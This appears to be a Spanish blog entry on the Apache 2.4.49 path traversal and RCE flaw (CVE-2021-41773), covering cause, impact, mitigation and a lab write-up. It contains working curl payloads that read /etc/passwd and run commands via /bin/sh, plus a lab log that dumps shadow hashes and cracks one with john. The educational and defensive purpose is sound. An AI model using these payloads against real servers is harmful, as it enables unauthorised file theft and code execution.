cd ~/blog

~/vulns/apache-path-traversal-rce-cve-2021-41773.md

Apache Path Traversal RCE (CVE-2021-41773)

rceautor: Jordy Pérez Osorio aviso legal
Apachepath-traversalRCE

~2 min de lectura


1. Descripción técnica

CVE-2021-41773 es una vulnerabilidad de Path Traversal y, bajo condiciones adicionales, Remote Code Execution, introducida en Apache HTTP Server 2.4.49. Un cambio en la normalización de rutas hizo que el tratamiento de %2e, la codificación de ., fuera insuficiente. Una URL preparada puede atravesar directorios mediante una ruta asociada por directivas como Alias.

Consecuencias:

  • Lectura de archivos arbitrarios fuera del directorio web (p. ej. /etc/passwd), siempre que las rutas no estén protegidas por require all denied.
  • Ejecución remota de código si mod_cgi está habilitado: se puede invocar un binario del sistema (como /bin/sh) a través del traversal y pasarle comandos en el cuerpo de la petición.

El parche inicial de 2.4.50 resultó incompleto. CVE-2021-42013 describe la variante que elude esa corrección con otra codificación de la ruta.

2. Impacto

  • Divulgación de archivos sensibles del servidor (/etc/passwd, /etc/shadow si los permisos lo permiten, configuraciones, claves).
  • RCE no autenticado cuando CGI está habilitado para la ruta alcanzada, con los privilegios del proceso de Apache.
  • Afectó a miles de servidores expuestos; fue explotada de forma masiva poco después de su publicación.

3. Historia y evolución

  • Octubre de 2021: Apache publica CVE-2021-41773 para la 2.4.49. En días se observan exploraciones masivas.
  • El parche de la 2.4.50 se descubre incompleto → CVE-2021-42013 (doble encoding).
  • La solución definitiva llega con Apache 2.4.51.

4. Condiciones necesarias

  1. Apache HTTP Server 2.4.49 (o 2.4.50 para la variante 42013).
  2. Rutas accesibles sin require all denied (configuración por defecto relajada, p. ej. un alias /cgi-bin/).
  3. Para el RCE: mod_cgi habilitado.

5. Validación y detección

  • Fingerprint de versión:
nmap -sV -p80 target   # Apache httpd 2.4.49 ((Unix))
  • Lectura de archivo (path traversal):
curl -s --path-as-is "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
  • Prueba de RCE (con mod_cgi):
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; id" \
  "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

6. Mitigación

  1. Actualizar a Apache 2.4.51 o posterior.
  2. Configurar require all denied para los directorios fuera del DocumentRoot.
  3. Deshabilitar mod_cgi si no se usa.

7. Explotación documentada en los writeups

7.1. 045-apaches

Identificada la versión 2.4.49, usamos un exploit público para leer /etc/passwd y /etc/shadow, y luego crackeamos con john:

❯ searchsploit apache | grep 2.4.49
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)     | multiple/webapps/50383.sh

❯ python CVE-2021-41773.py -t 192.168.1.43
--------------------------------------------------------
|                Apache2 2.4.49 - Exploit              |
--------------------------------------------------------
>>>

# tras volcar passwd y shadow:
❯ /opt/john/run/unshadow passwd shadow > unshadow.txt
❯ /opt/john/run/john -w=rockyou.txt unshadow.txt
iamtheone        (squanto)

8. Clasificación

  • Tipo: Path Traversal → Information Disclosure / Remote Code Execution
  • CVE: CVE-2021-41773 (y CVE-2021-42013 para la variante de doble encoding)
  • CWE:
    • CWE-22 – Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
    • CWE-98 / CWE-78 – según el vector (inclusión / OS command injection vía CGI)

9. Referencias y conexiones

// relacionados